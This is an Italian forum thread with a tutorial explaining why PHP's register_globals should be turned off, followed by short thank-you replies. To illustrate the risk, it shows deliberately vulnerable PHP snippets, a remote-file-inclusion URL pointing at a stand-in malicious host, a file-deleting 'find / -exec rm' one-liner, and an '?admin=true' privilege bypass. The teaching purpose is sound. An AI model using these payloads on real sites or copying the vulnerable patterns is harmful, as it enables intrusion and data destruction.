• User Attivo

    [Pillola] Consigli sul perchè mantenere register_globals su OFF

    Salve a tutti e benvenuti in questo tutorial:ciauz: dove spiegherò(in seguito ad un altro topic) i motivi per cui è consigliabile avere register_globals del file *php.ini *impostato su OFF...
    Cominciamo!
    Innanzitutto, ricordiamo che register globals permette di usare una variabile già pronta con i parametri get e post(Ma anche altri)..Ovvero che una banalissima variabile può sostituire egregiamente i famosi array superglobali(
    $_GET
    ,$_POST, ecc..)
    un esempio con $_GET :

     pagina.php?var=2
    

    Se register_globals è on, invece di usare $_POST['var'] come variabile superglobale, si userà $var come variabile superglobale.
    E quindi, se facciamo l'echo di $var

    <span class="gal">[PHP]echo $var ; [/PHP]
    Avremo come risultato 2.
    Register_globals è sconsigliata perchè un hacker potrebbe inserire codice maligno a nostra insaputa.
    Considerando questo esempio molto semplificato(Tratto dal mio libro di programmazione)

    [LEFT] 		 			 [PHP]<?php
    

    mysql_query(.......);
    echo "....";
    //ecc...
    include $module.'.php';
    ?>[/PHP] [/LEFT]

    Se register globals è su on, un hacker potrebbe modificare l'url cosi:
    ** lapaginaconinclude.php?module=http://www.esempio.com/script_malevolo**
    E cosi la pagina php includerebbe http://www.esempio.com/script_malevolo.php
    Che puo contere chissà quale codice, ad esempio
    [LEFT] [PHP]<?php 'find /-exec rm"{}" ";"';?>[/PHP] [/LEFT]

    Che cancellerebbe tutti i file accessibili al server web, oppure contenere anche banali unlink() , chdir() , fopen o fwrite...

    Un altro esempio?
    [LEFT] [PHP]<?php
    session_start()
    //$admin + una variabile di sessione impostata in precedenza
    if(!$admin) {
    do_foo();
    }else{
    do_admin_task();
    }
    ?>[/PHP] [/LEFT]

    Se un hacker modificasse l'url così:
    ** paginaconadmin.php?admin=true**
    Potrebbe entrare con i privilegi di amministratore...
    Per questo è consigliabile non fidarsi mai dell'utente, impostare tutte le precauzioni necessarie e soprattutto mantenere register_globals su off!

    Con questo minitutorial spero di essere stato utile...

    Ola!:ciauz:


  • User Attivo

    Si infatti ilnetsurfer hai pienamente ragione, infatti se non lo scrivevi tu questo tutorial dovevo farlo io 😉

    :gthi:


  • User Attivo

    Hai centrato il problema. Ho risolto, grazie mille!